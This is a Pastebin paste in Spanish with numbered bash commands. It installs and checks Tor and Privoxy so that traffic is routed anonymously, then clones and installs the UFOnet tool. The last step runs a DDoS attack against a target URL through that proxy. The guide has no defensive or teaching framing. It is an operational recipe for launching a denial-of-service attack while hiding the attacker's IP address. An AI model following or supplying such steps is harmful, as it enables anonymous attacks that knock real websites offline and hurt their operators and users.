Advertisement
Guest User

UFONET + TOR + PRIVOXY

a guest
May 27th, 2018
348
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.07 KB | None | 0 0
  1. UFONET + TOR + PRIVOXY
  2. **********************
  3.  
  4. 1. Instalar tor:
  5.  
  6. $ apt-get install tor
  7.  
  8. 2. Verificar que tor esta escuchando el puerto 9050 (auto-configurado por defecto); si todo está bien, obtendremos el mensaje de Congratulations:
  9.  
  10. $ curl —socks5 localhost:9050 —socks5-hostname localhost:9050 -s https://check.torproject.org/ | cat | grep -m 1 Congratulations | xargs
  11. * Congratulations. This browser is configured to use Tor.
  12.  
  13. 3. Instalar privoxy:
  14.  
  15. $ apt-get install privoxy
  16.  
  17. 4. Modificamos (con permisos root) el archivo config en /etc/privoxy, descomentareamos (removemos el #) en la siguiente línea:
  18.  
  19. # forward-socks5   /               127.0.0.1:9050 .
  20.  
  21. 5. Iniciar los servicios de tor y privoxy:
  22.  
  23. $ sudo service tor start
  24.  
  25. $ sudo service privoxy start
  26.  
  27. 6. Verificamos el estado de los servicios de tor y privoxy:
  28.  
  29. $ sudo service tor status
  30. * tor is running
  31.  
  32. $ sudo service privoxy status
  33. * privoxy is running
  34.  
  35. 7. Verificar que privoxy esta escuchando el puerto 8118 (auto-configurado por defecto):
  36.  
  37. $ netstat -ant | grep 8118
  38. * tcp        0      0 127.0.0.1:8118          0.0.0.0:*               LISTEN
  39.  
  40. 8. Verificar que tu dirección IP es diferente al asignado por tu ISP:
  41.  
  42. $ export http_proxy="http://localhost:8118"
  43.  
  44. $ curl ipecho.net/plain ; echo
  45. * NUEVA_IP
  46.  
  47. $ whois NUEVA_IP
  48. * ....
  49.  
  50. 9. Instalar dependencias para ejecutar UFOnet:
  51.  
  52. $ sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests python-pip
  53. * ...
  54.  
  55. 10. Clonar el proyecto UFOnet:
  56.  
  57. $ git clone https://github.com/epsylon/ufonet
  58.  
  59. 11. Ubicarse en la carpeta del proyecto UFOnet:
  60.  
  61. $ cd ufonet/
  62.  
  63. 12. Instalar UFOnet:
  64.  
  65. $ sudo python setup.py install
  66. * ...
  67.  
  68. 13. Verificamos que tor + privoxy funciona correctamente con UFOnet:
  69.  
  70. $ ./ufonet --check-tor --proxy=http://127.0.0.1:8118
  71.  
  72. * ....
  73.  
  74. * Sending request to: https://check.torproject.org
  75. * Congratulations!. Tor is properly being used :-)
  76. * Your IP address appears to be: NEW_IP
  77.  
  78. 12. Listo para ejecutar ataque 'DDoS':
  79.  
  80. $ ./ufonet -a http://target.com --proxy=http://127.0.0.1:8118
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement